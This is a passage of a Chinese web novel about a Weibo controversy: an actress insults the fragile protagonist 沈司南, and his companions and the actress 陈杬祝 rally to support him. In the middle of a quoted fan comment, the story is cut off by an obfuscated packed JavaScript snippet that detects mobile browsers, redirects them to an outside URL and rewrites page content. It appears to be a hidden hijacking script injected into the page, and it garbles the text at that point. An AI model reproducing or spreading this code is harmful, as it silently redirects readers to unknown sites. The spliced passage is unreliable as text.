三个话题瞬间冲上热搜，舆论的风向一边倒，几乎所有人都在指责旭念安的轻佻与没品。 远在成都的民宿里，沈司南正坐在窗边，指尖轻轻抚摸着熊猫玩偶的耳朵。许祭坐在他身边，看到这条微博时，脸色瞬间沉了下来。绫司司更是直接炸了毛，一把抢过手机，声音里满是愤怒：“这个旭念安太过分了！什么叫挺好玩的？司南又不是玩具！” 李诺言也凑过来看了一眼，眉头紧紧皱起：“她怎么能发偷拍照啊？我们今天在宽窄巷子逛的时候，根本没注意到有人偷拍！” 沈司南的手指顿了顿，抬起头时，眼底的笑容瞬间消失了。他没有说话，只是将熊猫玩偶紧紧抱在怀里，身体微微蜷缩了一下，像是下意识地想要保护自己。那份刚刚在四川感受到的轻松与欢喜，在看到这条微博的瞬间，被击得粉碎。 他能读懂那句“挺好玩的”里的轻佻，能感受到自己像个被围观的物件，而不是一个活生生的人。 许祭立刻将他揽入怀中，手掌轻轻拍着他的后背，声音里带着冰冷的怒意，却又努力克制着，不让自己的情绪影响到沈司南：“别理她。我们明天不去人多的地方了，去熊猫基地的僻静处，好不好？” 沈司南轻轻点了点头，将脸埋进许祭的怀里，声音闷闷的：“嗯。” 而此刻的保姆车里，陈杬祝看着旭念安的微博，指尖捏着粉扑的力道越来越重，指节泛白。她的经纪人在一旁急得团团转：“杬祝，要不要回应？旭念安这明显是在故意挑事！” 陈杬祝没有说话，只是点开了自己的微博。她没有发任何文字，只是上传了一张之前梨春梦发给她的照片——那是沈司南在苗寨的梨花园里，抱着萤石手链，对着溪流笑得眉眼弯弯的样子。照片的滤镜温柔，满是岁月静好的气息。 她没有艾特任何人，没有带任何话题，只是用这张照片，无声地回应着旭念安的轻佻。 粉丝们瞬间明白了陈杬祝的心意，纷纷跑到她的微博下留言： 「杬祝姐姐这是在守护司南吧！这张照片里的司南，才是最真实的他！」 「对比太明显了！一边是偷拍照加轻佻文案，一边是温柔的照片无声守护！」 「旭念安请你道歉！司南是值得被温柔对待的孩子，不是你博热度的工具！」 微博的舆论场彻底反转，旭念安的微博评论区被愤怒的网友攻陷，连带着她的路人缘也一落千丈。 而旭念安本人，在发出那条微博后，便再也没有了动静。她或许是没想到，一句漫不经心的话，会引来如此大的反噬。 成都的夜晚，民宿的窗外挂着红灯笼，却照不进沈司南的心底。 许祭抱着他，轻声安慰着。绫司司和李诺言在一旁义愤填膺地骂着旭念安。 而千里之外的陈杬祝，看着手机屏幕里沈司南的照片，眼底满是心疼。 她无声地呢喃：“司南，别怕。” “总有人，会把你当成宝贝，而不是‘好玩的’物件。” 旭念安的澄清微博发在凌晨两点，彼时成都的民宿里，沈司南刚在许祭的安抚下浅浅睡去，怀里还紧紧抱着那个熊猫玩偶；而横店的保姆车内，陈杬祝盯着手机屏幕，眼底的红血丝清晰可见。 这条微博依旧带着她一贯的精致感，配图却换了两张——一张是她所谓的“原片”，比之前那张偷拍照清晰些许，沈司南抱着熊猫玩偶的身影在宽窄巷子的红灯笼下显得格外柔和，只是照片的角度依旧藏着偷拍的痕迹；另一张则是她的自拍，脸上挂着恰到好处的歉意，眼底却没什么温度。 文案洋洋洒洒百余字，字里行间都透着“无辜”与“被误解”： 「关于今日微博，这里跟大家澄清一下。照片是今日在宽窄巷子游玩时偶然拍到的，觉得画面很美好才随手分享，并无任何恶意。“挺好玩的”只是觉得这个场景很可爱，绝无轻佻之意。我很欣赏沈司南先生的经历，也尊重他的个人隐私。没想到会引起这么大的误会，给沈司南先生和关心他的人带来困扰，我深表歉意。今后会更加注意自己的言行，也请大家不要过度解读。」 末尾规规矩矩地加了#旭念安澄清#的话题，还特意艾特了沈司南的微博账号——可谁都知道，沈司南的微博从未更新过一条内容，不过是她用来做样子的工具。 微博发出的瞬间，舆论场再次炸开，却没有如她预想般平息争议，反而引来了更猛烈的反噬。 陈杬祝的粉丝率先发声，字字诛心： 「偶然拍到？偷拍就是偷拍，别用“偶然”洗白！」 「觉得画面美好？未经允许的拍摄，再美好也是侵犯隐私！」 「“挺好玩的”是觉得场景可爱？那为什么不拍红灯笼不拍青石板，偏偏拍正在散心的司南？」 「道歉没有诚意，艾特一个空号更是可笑！请向沈司南本人郑重道歉！」 一直关注着沈司南的网友也纷纷跟上，愤怒几乎要溢出屏幕： 「澄清？这叫澄清吗？全程都在为自己辩解，根本没意识到自己错在哪里！」 「错的不是“被误解”，是你偷拍的行为和轻佻的文案！」 「司南好不容易才慢慢打开心扉，出来散心，却被你这样偷拍博热度，你的良心不会痛吗？」 「别来沾边了！放过沈司南吧！」 就连旭念安的部分路人粉，也忍不住脱粉回踩： 「粉转路了。本来觉得你只是性格直，现在才发现是没品又没素质。」 「偷拍隐私还嘴硬，这样的艺人，不值得喜欢。」 #旭念安澄清越描越黑# #旭念安请向沈司南郑重道歉# #偷拍不是偶然# 三个话题瞬间压过了她的澄清词条，冲上热搜前排。 远在成都的民宿，许祭被手机提示音惊醒，生怕吵醒身边的沈司南，他轻手轻脚地走到客厅，点开微博后，脸色瞬间冷得像冰。绫司司也被吵醒，看到旭念安的澄清微博后，气得差点摔了手机：“太过分了！这哪里是道歉？分明是在倒打一耙！” 李诺言揉着眼睛走出来，看到内容后，眉头皱得能夹死一只蚊子：“她怎么能这样？司南今天好不容易才开心一点，要是看到这条微博，指不定又要难过了。” 许祭深吸一口气，声音里带着不容错辨的决绝：“明天的行程全部取消，我们不去熊猫基地了，也不去任何景点。就在民宿里待着，或者去附近人少的公园走走。”他不能再让沈司南受到任何一点伤害。 而此刻的横店，陈杬祝的经纪人看着网上的风向，松了一口气：“杬祝，不用我们出手了，网友已经把旭念安骂惨了。” 陈杬祝没有说话，只是再次点开了自己的微博。这一次，她没有发照片，也没有发长文，只是简单地敲下了一句话，没有任何修饰，却带着千钧之力： 「尊重是底线，隐私不可侵。」 这条微博发出后，瞬间被疯狂转发。粉丝们纷纷留言： 「杬祝姐姐说得对！尊重是底线！」 「这才是真正的公众人物该有的态度！」 「对比太明显了！一边是毫无诚意的澄清，一边是掷地有声的表态！」 旭念安的微博评论区彻底沦陷，愤怒的网友们刷着“道歉”的词条，几乎要将她的微博服务器挤爆。她试图删除一些负面评论，却发现根本删不过来，最终只能关闭了评论区，彻底消失在公众视野中。 成都的天，渐渐亮了。 沈司南从睡梦中醒来，怀里的熊猫玩偶依旧柔软。他揉了揉眼睛，看向身边的许祭，声音带着刚睡醒的软糯：“许祭哥哥，今天我们去看熊猫吗？” 许祭蹲下身，轻轻摸了摸他的头，眼底的冰冷被温柔取代：“去。我们去一个只有熊猫和我们的地方，好不好？” 沈司南轻轻点了点头，嘴角勾起一抹浅淡的笑容。 他不知道凌晨的那场舆论风暴，也不知道旭念安的澄清微博。他只知道，今天可以去看圆滚滚的熊猫，身边有许祭，有绫司司，有李诺言。 而千里之外的陈杬祝，看着手机屏幕里沈司南的睡颜照片——那是梨春梦偷偷发来的，眼底满是心疼与守护。 她无声地呢喃：“司南，好好享受你的旅程。” “那些纷扰，我们会帮你挡在身后。” 沈司南的微博账号，自注册以来便一片空白，头像还是系统默认的灰色，从未有过任何动态。 成都民宿的午后，阳光透过窗棂，落在沈司南捧着的手机屏幕上。许祭坐在他身侧，指尖正帮他梳理着微乱的发梢；绫司司和李诺言窝在沙发里，正叽叽喳喳地讨论着下午去熊猫基地的路线。 谁也没注意到，沈司南的指尖，正轻轻点着微博的发布按钮。 他的微博界面，没有配图，没有长文，甚至没有任何多余的修饰。输入框里，只有一个孤零零的符号，带着一丝茫然，又带着一丝无人能懂的情绪： ？ 发布成功的提示弹出时，沈司南的手指微微一顿，随即锁屏，将手机重新放回了口袋，仿佛什么都没发生过。 可这条只有一个问号的微博，却像一颗炸雷，瞬间在全网掀起了惊涛骇浪。 第一个发现这条微博的，是一直蹲守在沈司南微博主页的粉丝。当那个灰色头像旁亮起一个小小的红色圆点，当那条只有一个“？”的微博出现在时间线上时，粉丝瞬间疯了，截图、转发、评论，一气呵成： 「天呐！司南发微博了！！！」 「是本人吗？是真的沈司南吗？？？」 「只有一个问号？这是什么意思啊？」 「是不是看到旭念安的澄清了？是不是不开心了？」 微博的推送机制瞬间启动，#沈司南 ？# 这个话题，以一种恐怖的速度，瞬间冲上热搜榜首，服务器直接陷入瘫痪。 陈杬祝正在片场拍一场情绪激烈的戏，手机震个不停，助理匆匆跑过来，将手机递到她面前，声音里带着激动与担忧：“杬祝姐！司南发微博了！只有一个问号！” 陈杬祝的台词瞬间卡壳，她一把抢过手机，看到那条微博时，心脏猛地一缩。她顾不上还在拍摄的剧组，快步走到一旁，指尖颤抖着点开评论区，眼底满是心疼。 那个问号，像一把钥匙，打开了所有人的想象。是对旭念安轻佻言论的不解？是对自己突然被推上风口浪尖的茫然？是对这个世界的困惑？还是仅仅只是，一个孩子不知如何表达情绪时，最直白的宣泄？ 远在成都的民宿里，许祭最先发现了沈司南的异常。他看着沈司南突然沉默下来的侧脸，看着他口袋里微微凸起的手机，心中一动，拿出自己的手机点开了微博。 当看到那条只有一个“？”的微博时，许祭的眼底瞬间涌上浓浓的心疼。他没有戳破，只是轻轻将沈司南揽入怀中，声音温柔得能滴出水来：“怎么了？” 沈司南摇了摇头，将脸埋进许祭的颈窝，声音闷闷的：“没什么。” 绫司司和李诺言也刷到了这条微博，两人对视一眼，都从对方眼中看到了担忧。李诺言小心翼翼地开口：“司南，你是不是……看到那个旭念安的微博了？” 沈司南没有回答，只是手臂环住了许祭的腰，力道越来越重。 那个问号，是他对旭念安那句“挺好玩的”的不解——他不是玩物，不是供人观赏和评头论足的物件。 是他对自己身份的迷茫——他是沈司南，是阿怨，是苗寨的祭祀，是被守护的宝贝，可在这个光怪陆离的世界里，他到底是谁？ 是他对这突如其来的关注的无措——他只是想出来看看，想看看熊猫，想尝尝火锅，为什么会被偷拍，为什么会被议论，为什么会有这么多他不懂的事情？ 微博的评论区，早已被心疼的声音淹没。 「这个问号，看得我心都碎了……」 「司南一定很迷茫吧？他只是个想出来散心的孩子啊……」 「旭念安！你看看！这就是你所谓的“无恶意”带来的后果！」 「司南，别怕！我们都懂你！这个世界太复杂，我们会陪你一起慢慢懂！」 「陈杬祝姐姐！快看看司南！他是不是不开心了！」 陈杬祝几乎是立刻，就在沈司南的微博下评论了。她的评论，没有多余的话，只有一个温暖的表情，和一句简单的话： 「我懂。」 这条评论，瞬间被顶上了热评第一。粉丝们纷纷跟上，用自己的方式，回应着沈司南的那个问号： 「我们都懂！」 「司南，你不是一个人！」 「想做什么就做什么，我们永远支持你！」 许祭也拿起手机，在沈司南的微博下，留下了一条评论。那是他的微博账号，第一次为别人发声： 「我在。」 绫司司和李诺言也不甘示弱，一人一条评论，带着满满的关心： 「我们一起去看熊猫！」 「蛋烘糕还在！永远给你留着！」 沈司南的口袋里，手机震个不停。他没有拿出来，却能清晰地感受到，那一条条信息里，带着的温暖与力量。 他抬起头，看向许祭，看向绫司司，看向李诺言，眼底的茫然渐渐散去，露出了一丝浅浅的光。 那个问号，是他对这个世界的第一次发问。 而那些回应，是这个世界，对他最温柔的回答。 成都的阳光，依旧温暖。 民宿里的空气，依旧带着欢声笑语。 沈司南的微博，依旧只有一个孤零零的“？”。 可没有人再觉得那个问号冰冷。 因为他们知道，在那个问号的背后，有许祭的陪伴，有绫司司和李诺言的关心，有陈杬祝的守护，有无数人的心疼与支持。 他不再是一个人。 沈司南那条只有一个“？”的微博，还在全网的热搜榜首挂着，服务器的波动刚平，陈杬祝的微博便再次引爆了舆论。 彼时她刚拍完一场哭戏，脸上的泪痕还未干透，助理递来的手机屏幕亮得刺眼。她没有丝毫犹豫，点开自己的微博，直接在输入框里敲下一行字，指尖的颤抖透过屏幕都能被感知，末尾郑重地@了那个刚刚发出人生第一条微博的账号： @沈司南你不要骗我好不好，你也是人 没有配图，没有话题，甚至没有一个多余的表情，只有这一句带着哭腔的质问，和那个清晰的@符号。 微博发出的瞬间，像是在滚烫的油锅里浇了一瓢冷水，瞬间激起千层浪。 陈杬祝的粉丝最先炸开，心疼与愤怒交织在评论区： 「姐姐这句哭腔都要溢出来了！司南你听到了吗！你也是人啊！」 「不是玩物！不是供人消遣的谈资！你是活生生的人啊沈司南！」 「这句质问，既是说给司南听的，也是说给旭念安听的，更是说给所有不尊重他的人听的！」 而一直关注着沈司南的网友，早已被那个孤零零的“？”戳得心碎，此刻看到陈杬祝的这条微博，瞬间泪目： 「“你也是人”这四个字，比千言万语都更戳心……」 「司南一定是把自己当成了苗寨的祭祀，当成了守护大家的工具，却忘了自己也是个需要被疼爱的人啊……」 「他发那个问号的时候，该有多迷茫多痛苦？他是不是觉得自己连难过的资格都没有？」 「@沈司南听到了吗！你也是人！你可以哭，可以笑，可以迷茫，可以任性！你不用一直做那个坚强的沈司南！」 #陈杬祝 你不要骗我好不好你也是人# #沈司南你也是人# #请尊重沈司南的人格# 三个话题瞬间压过所有词条，冲上热搜顶端。连带着沈司南那条只有一个“？”的微博，再次被疯狂转发，评论区的留言从最初的心疼，变成了一声声带着力量的呼喊：“你也是人！”“你也是人！” 远在成都的民宿里，许祭正抱着沈司南坐在窗边，手机屏幕上正显示着沈司南的微博评论区。当陈杬祝的这条评论跳出来时，许祭的身体猛地一僵，低头看向怀中人。 沈司南的目光，正落在许祭的手机屏幕上，那行@他的文字，像一道惊雷，劈开了他心底层层叠叠的枷锁。 “你不要骗我好不好，你也是人。” 陈杬祝的声音，仿佛穿透了千山万水，响在他的耳边。那声音里的哭腔，那语气里的心疼，那字字句句里的坚定，像一只温柔的手，轻轻抚过他心底最柔软的地方。 他一直以为，自己是沈司南，是苗寨的祭祀，是必须扛起责任的英雄。他以为，自己不能有情绪，不能有迷茫，不能有脆弱，只能做那个冰冷的、疏离的守护者。 他甚至骗自己，阿怨已经是过去式了，那个软糯的、会撒娇的、会笑的孩子，早就随着记忆的恢复，消失在了时光里。 可陈杬祝的这句话，像一把钥匙，打开了他紧紧锁着的心扉。 他也是人。 他也会疼，会难过，会迷茫，会想要被人守护。 他不是苗寨的工具，不是供人观赏的玩物，不是只有责任和使命的祭祀。 他是沈司南，也是阿怨，是一个活生生的、有血有肉的人。 沈司南的身体剧烈地颤抖起来，眼泪毫无预兆地滑落，砸在许祭的手背上，滚烫而灼热。他再也忍不住，扑在许祭的怀里，放声大哭。 “我也是人……”他的哭声破碎不堪，带着压抑了太久的痛苦与委屈，“我也是人啊……许祭哥哥……我不想再做那个冷冰冰的沈司南了……我也想做阿怨……我也想被人疼……” 许祭的心像是被揉碎了一般，疼得喘不过气。他紧紧抱着沈司南，手掌一下下拍着他的后背，声音里带着哽咽，却又无比坚定：“是，你是人。你是沈司南，也是阿怨，是我最疼爱的人。” “以后，不用再骗自己了。”许祭的唇轻轻贴在他的发顶，温柔得像是在呵护一件稀世珍宝，“你可以哭，可以笑，可以迷茫，可以任性。你想做沈司南就做沈司南，想做阿怨就做阿怨。无论你是谁，我都爱你。” 绫司司和李诺言站在一旁，早已红了眼眶。李诺言忍不住走上前，轻轻拍了拍沈司南的肩膀，声音里带着哭腔：“司南，你也是人。你值得被所有人疼惜。以后，我带你吃遍四川的好吃的，带你看遍四川的好看的，让你每天都开开心心的。” 绫司司也跟着点头，眼底的泪水滑落：“对！司南，你也是人。我们永远都是你的朋友，永远都会陪在你身边。” 沈司南抬起头，泪眼朦胧地看着他们。看着许祭眼底的温柔，看着绫司司脸上的心疼，看着李诺言眼中的关切，他的心里，涌起一股从未有过的暖流。 他掏出自己的手机，解锁，点开微博。 这一次，他没有发那个孤零零的“？”。 他在输入框里，敲下了一行字，依旧没有配图，却带着前所未有的坚定： 我也是人 发布成功的瞬间，手机震个不停。 陈杬祝的评论，第一时间跳了出来： 「是。你是。」 许祭的评论，紧随其后： 「永远是。」 绫司司和李诺言的评论，几乎同时出现： 「我们的司南，永远是最珍贵的人！」 「熊猫和我，都在等你这个最可爱的人！」 微博的评论区，瞬间被刷屏。无数人留言，带着满满的心疼与祝福： 「是！你是！你是最珍贵的人！」 「以后再也不用压抑自己了！做你想做的事吧！」 「司南，欢迎回来！欢迎做回你自己！」 「陈杬祝姐姐的那句话，真的太戳心了！她真的懂司南！」 成都的午后，阳光透过窗棂，落在沈司南的身上，泛着温暖的光泽。 他靠在许祭的怀里，手里捏着那串萤石手链，怀里抱着那个熊猫玩偶。 他是沈司南，是苗寨的祭祀，是二十岁跳崖护寨的英雄。 他也是阿怨，是被苗寨温柔守护的宝贝，是会对着萤石溪流笑的孩子。 而现在，他更是一个活生生的人，一个有情绪，有委屈，有欢喜，值得被所有人疼爱的沈司南。 横店的片场，陈杬祝看着沈司南那条“我也是人”的微博，终于忍不住，泪水滑落。她靠在保姆车的座椅上，看着窗外的天空，嘴角却勾起了一抹释然的笑容。 她知道，那个孩子，终于找回了自己。 终于，肯承认自己也是人了。 沈司南的旅程，还在继续。 而他的身边，有许祭，有绫司司，有李诺言，有陈杬祝，有无数愿意守护他的人。 有一群，愿意陪他做回自己的人。 旭念安的微博发在深夜，像一颗裹着毒刺的炸弹，瞬间撕裂了全网的平静。彼时沈司南刚在许祭的怀里睡熟，脸上还带着泪痕，怀里紧紧抱着那个熊猫玩偶；陈杬祝结束了一天的拍摄，正盯着沈司南那条“我也是人”的微博，眼底的温柔还未散去。 这条微博带着歇斯底里的戾气，没有任何配图，只有一行被愤怒扭曲的文字，末尾三个感叹号像三把淬了冰的刀，狠狠刺向那个刚找回自我的孩子，还特意@了沈司南的账号： @沈司南装什么啊，还我也是人，你不配！！！ 微博发出的瞬间，全网的愤怒被彻底点燃。 如果说之前的偷拍和轻佻文案还能被洗地为“误解”，那这句“你不配”，则彻底撕下了旭念安最后一层伪装。陈杬祝的粉丝率先冲锋，评论区的话语字字诛心： 「旭念安你疯了吗？！司南哪里对不起你了？！」 「偷拍别人隐私在先，恶语相向在后，你才是最不配被尊重的人！」 「他只是个刚走出阴霾的孩子，你怎么能说出这么恶毒的话？！」 一直关注着沈司南的网友，更是被这句“你不配”戳得心疼到极致，愤怒的情绪几乎要溢出屏幕： 「“我也是人”这四个字，是他压抑了多久才说出来的？你凭什么说他不配？！」 「司南是苗寨的英雄，是被所有人疼爱的宝贝，他最配做一个活生生的人！」 「旭念安，你的良心不会痛吗？！你毁掉的是一个孩子好不容易才建立起来的勇气！」 「抵制旭念安！这种没品没德的艺人，不配待在娱乐圈！」 #旭念安你不配# #旭念安滚出娱乐圈# #沈司南你最配# 三个话题以恐怖的速度冲上热搜榜首，服务器直接陷入瘫痪。各大品牌方也迅速反应，纷纷发布声明，与旭念安解除合作关系；她正在争夺的那部大女主剧，制片方更是直接发博，宣布将其从演员名单中剔除。 远在成都的民宿，许祭被手机的疯狂震动惊醒，生怕吵醒身边的沈司南，他轻手轻脚地走到客厅，点开微博的瞬间，脸色瞬间冷得像冰，周身的气压低得让人喘不过气。绫司司也被惊醒，看到旭念安的微博后，气得浑身发抖，声音都带着哭腔：“这个旭念安！她怎么能这么恶毒！司南好不容易才说出‘我也是人’，她怎么能说司南不配！” 李诺言揉着眼睛跑出来，看清内容后，直接红了眼眶：“太过分了！她根本就是心理扭曲！司南要是看到这条微博，该有多难过啊！” 许祭深吸一口气，强行压下心底的滔天怒火，声音里带着不容错辨的决绝：“把手机都收起来，明天我们不去任何地方，就在民宿里待着。任何人都不许在司南面前提这件事。”他不能让沈司南刚刚建立起来的勇气，被旭念安的恶语彻底击碎。 而此刻的横店，陈杬祝看到这条微博的瞬间，直接从保姆车上站了起来，眼底的温柔被冰冷的愤怒取代。她的经纪人在一旁急得团团转：“杬祝，冷静点！我们现在不能冲动！” 陈杬祝没有说话，只是点开自己的微博，这一次，她没有发长文，也没有发照片，只是直接转发了旭念安的微博，配文只有短短五个字，却带着千钧之力： 你，才不配。 这条转发，瞬间被疯狂转发。粉丝们纷纷跟上，用自己的方式，守护着那个刚找回自我的孩子： 「姐姐说得对！旭念安你才不配！」 「抵制旭念安！永不原谅！」 「司南最配！他配得上所有的温柔与美好！」 旭念安的微博评论区彻底沦陷，愤怒的网友们刷着“滚出娱乐圈”的词条，几乎要将她的微博服务器挤爆。她试图删除微博，却发现根本删不过来；她想关闭评论区，却连登录都变得困难。最终，她的微博账号被平台暂时封禁，理由是“发布恶意言论，侵犯他人权益”。 成都的天，渐渐亮了。 沈司南从睡梦中醒来，怀里的熊猫玩偶依旧柔软。他揉了揉眼睛，看向身边的许祭，声音带着刚睡醒的软糯：“许祭哥哥，今天我们还去看熊猫吗？” 许祭蹲下身，轻轻摸了摸他的头，眼底的冰冷被温柔取代，声音里带着一丝不易察觉的沙哑：“去。我们去熊猫基地，看最可爱的熊猫，好不好？” 沈司南轻轻点了点头，嘴角勾起一抹浅淡的笑容。 他不知道深夜的那场舆论风暴，也不知道旭念安那句恶毒的“你不配”。他只知道，今天可以去看圆滚滚的熊猫，身边有许祭，有绫司司，有李诺言。 而千里之外的陈杬祝，看着手机屏幕里沈司南的睡颜照片——那是梨春梦偷偷发来的，眼底满是心疼与守护。 她无声地呢喃：“司南，好好享受你的熊猫之旅。” “那些肮脏的恶意，我们会帮你彻底清理干净。” 民宿的窗外，阳光正好。 沈司南的世界，依旧简单而美好。 他是沈司南，是阿怨，是一个活生生的人。 他最配，拥有这世间所有的温柔与欢喜。 旭念安的微博发在凌晨三点，彼时平台刚解除她的临时封禁，她像是被愤怒冲昏了头脑，连体面都顾不上，直接在输入框里敲下了一行满是戾气的文字，@列表里一口气挂了四个人的账号，字里行间的恶意几乎要冲破屏幕： @陈杬祝 @沈司南 @许祭 @绫司司啊？那又怎么样，一群废物＊ 末尾的脏字被平台自动屏蔽，却丝毫没减弱这句话里的嚣张与恶毒。这条微博没有配图，没有任何修饰，只有赤裸裸的挑衅与谩骂，像一把沾满了泥污的刀，狠狠挥向了正在努力守护沈司南的所有人。 微博发出的瞬间，全网的愤怒彻底达到了顶峰。 如果说上一条“你不配”还只是针对沈司南的恶意，那这条连@四人的谩骂，就是对所有守护沈司南的人的公然宣战。陈杬祝的粉丝率先炸锅，评论区的话语带着滔天的怒火： 「旭念安你彻底疯了！！！辱骂他人算什么本事？！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037607|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 」 「你才是真正的废物！偷拍隐私、恶语相向，娱乐圈容不下你这种败类！」 「@陈杬祝 姐姐别忍了！这种人就该让她付出代价！」 关注沈司南的网友更是怒不可遏，之前的心疼瞬间转化为对旭念安的极致厌恶： 「一群废物？你凭什么这么说？！他们是在守护一个刚走出阴霾的孩子！而你呢？你只是个躲在屏幕后面的跳梁小丑！」 「许祭拼了命护着司南，绫司司和李诺言尽心尽力陪着司南，陈杬祝不顾一切守护司南，他们哪里废物了？！」 「旭念安，你的职业生涯彻底完了！没有人会再容忍你的恶意！」 #旭念安彻底疯了# #旭念安公开辱骂# #抵制旭念安永不翻身# 三个话题瞬间霸占热搜榜首，连带着她过往的黑料也被网友扒了个底朝天——耍大牌、抢资源、打压新人，桩桩件件都触目惊心。各大合作方的解约声明像雪片一样飞来，甚至连她的经纪公司都紧急发博，宣布与她解除合约，划清界限。 远在成都的民宿里，许祭几乎是瞬间就看到了这条微博。他正坐在床边，看着沈司南熟睡的侧脸，手机屏幕的光映在他眼底，是化不开的冰冷。绫司司被手机提示音惊醒，看到内容后，气得直接把手机摔在了沙发上，声音里带着哭腔：“这个旭念安！她到底想干什么？！为什么要骂我们废物？！” 李诺言也跟着醒了，看清微博后，拳头攥得死死的：“太过分了！她根本就是无可救药！司南要是知道了，肯定会很难过的！” 许祭深吸一口气，缓缓站起身，走到客厅，捡起绫司司摔在沙发上的手机。他的手指冰凉，却异常稳定地拨通了一个电话，声音里没有丝毫情绪，却带着一股让人不寒而栗的压迫感：“查一下旭念安的所有行程，还有她背后的所有资源。我要让她，彻底从这个圈子里消失。” 挂了电话，许祭回头看向卧室的方向，眼底的冰冷瞬间被温柔取代。他走到沙发边，轻轻拍了拍绫司司的肩膀，声音低沉而坚定：“别生气。她蹦跶不了多久了。” 而此刻的横店，陈杬祝看到这条微博的瞬间，眼底的最后一丝温度也消失殆尽。她没有再发微博，也没有再转发，只是直接让经纪人联系了律师，声音平静却带着不容错辨的决绝：“以诽谤罪，起诉旭念安。” 律师的动作很快，几乎是在一小时内，就向法院提交了起诉状。起诉状里清晰地列出了旭念安的所有恶意言论，以及这些言论对沈司南、陈杬祝、许祭和绫司司造成的名誉损害，证据确凿，无可辩驳。 微博的评论区里，网友们已经开始自发地刷起了“旭念安滚出娱乐圈”的词条，甚至有不少路人加入了声讨的队伍。没有人再为她辩解，没有人再同情她，所有人都清楚，她这是在自掘坟墓。 成都的天，渐渐亮了。 沈司南伸了个懒腰，从床上坐了起来。他揉了揉眼睛，看向窗外的阳光，嘴角不自觉地勾起了一抹笑容。他不知道凌晨的那场闹剧，也不知道旭念安的恶意谩骂，更不知道许祭和陈杬祝正在为他做的一切。 他只知道，今天可以去熊猫基地，看那些圆滚滚的熊猫。 他只知道，身边有许祭，有绫司司，有李诺言。 他只知道，自己是沈司南，也是阿怨，是一个活生生的人。 许祭走进卧室，手里端着一杯温热的牛奶，脸上带着温柔的笑容：“醒了？喝完牛奶，我们就去熊猫基地。” 沈司南点了点头，接过牛奶，小口小口地喝了起来。阳光透过窗棂，落在他的身上，泛着温暖的光泽。 而千里之外的陈杬祝，看着手机屏幕里沈司南的照片，眼底的冰冷渐渐散去，取而代之的是浓浓的心疼。她无声地呢喃：“司南，好好去看你的熊猫。” “那些肮脏的垃圾，我们会帮你彻底清理干净。” 民宿的窗外，阳光正好。 沈司南的世界，依旧简单而美好。 他是沈司南，是阿怨，是一个值得被所有人温柔守护的人。 而旭念安的疯狂，不过是他生命里的一段小插曲，很快就会被遗忘在时光的长河里。 她的嚣张，她的恶毒，她的谩骂，最终都只会成为她自己的墓志铭。 熊猫基地的竹林里，阳光透过竹叶的缝隙，筛下细碎的光斑，落在沈司南的发顶。他蹲在不远处的木栏外，目光一瞬不瞬地黏着那只正抱着竹子啃得正香的熊猫幼崽，怀里还抱着那个同款的熊猫玩偶，指尖无意识地摩挲着玩偶柔软的耳朵。 许祭站在他身后几步远的地方，和李诺言低声说着什么，声音压得极低，生怕惊扰了这份难得的宁静。 绫司司端着两杯温热的蜂蜜水，轻手轻脚地走了过去，在沈司南身边蹲下。她将其中一杯递到他面前，目光落在他清瘦的侧影上，看着他眼下淡淡的青黑，心底的担忧又涌了上来。 这几天，虽然大家都刻意瞒着他旭念安的那些恶意言论，可沈司南似乎还是隐隐察觉到了什么。他不再像刚到成都时那样，会好奇地追着蝴蝶跑，会兴奋地指着红灯笼笑，更多的时候，只是安安静静地看着一处发呆，连吃饭都比平时少了许多。 “司南，喝点水吧。”绫司司的声音放得很轻，带着小心翼翼的温柔。 沈司南回过神，接过蜂蜜水，指尖触碰到杯壁的温热，轻轻“嗯”了一声。他没有喝，只是将杯子放在身侧的草地上，目光又重新落回了那只熊猫幼崽身上。 绫司司看着他这副模样，心像是被什么东西轻轻揪了一下。她沉默了片刻，终究还是忍不住，轻声问道：“司南，你……感觉累不累啊？” 累不累。 这四个字，像是一根细针，轻轻刺在了沈司南的心上。 他的身体猛地一僵，捏着熊猫玩偶的手指微微收紧。累吗？他好像不知道。 做沈司南的时候，他累。累得要扛起苗寨的所有责任，累得要守着那些冰冷的仪轨，累得连喘一口气的时间都没有。 做阿怨的时候，他好像不累。可那是因为，所有人都把他护在羽翼之下，不让他接触到任何风雨。 而现在，他既不是沈司南，也不是阿怨，他只是想出来看看世界的沈司南。可他却觉得，心里像是压了一块石头，沉甸甸的，连呼吸都觉得有些费力。 他不知道自己为什么会这样。明明身边有许祭，有绫司司，有李诺言，明明这里有可爱的熊猫，有好吃的蛋烘糕，有温暖的阳光。 可他就是觉得，累。 沈司南没有立刻回答，只是将脸轻轻贴在了熊猫玩偶的头顶，声音闷闷的，带着一丝不易察觉的疲惫：“有一点。” 只有一点。 可那一点疲惫，却像是潮水一样，瞬间将他淹没。 绫司司的眼眶瞬间红了。她伸出手，轻轻拍了拍沈司南的后背，动作温柔得像是在呵护一件易碎的珍宝。“累了就说出来，没关系的。”她的声音里带着一丝哽咽，“我们可以不去看熊猫了，可以不去逛宽窄巷子了，我们可以回民宿，好好睡一觉。” “或者，你想做什么都可以。我们都陪着你。” 沈司南抬起头，看向绫司司。她的眼睛里满是心疼，和许祭的眼神，和李诺言的眼神，和陈杬祝在微博里的语气，一模一样。 他忽然觉得，心里那块沉甸甸的石头，好像轻了一些。 他轻轻点了点头，声音依旧带着疲惫，却多了一丝释然：“好。” 许祭和李诺言听到这边的动静，立刻走了过来。许祭蹲下身，轻轻揉了揉沈司南的头发，声音温柔得能滴出水来：“累了？那我们回民宿休息，好不好？” 沈司南“嗯”了一声，主动伸出手，牵住了许祭的衣角。 李诺言也连忙说道：“我去叫车！民宿里还有我早上买的蛋烘糕，热一热就能吃！” 绫司司拿起身侧的蜂蜜水，重新递到沈司南手中：“先喝点水，润润嗓子。” 沈司南接过杯子，小口小口地喝了起来。蜂蜜的甜香在口腔里弥漫开来，带着一股温暖的气息，一直暖到了心底。 阳光依旧明媚，竹林里的熊猫依旧在啃着竹子。 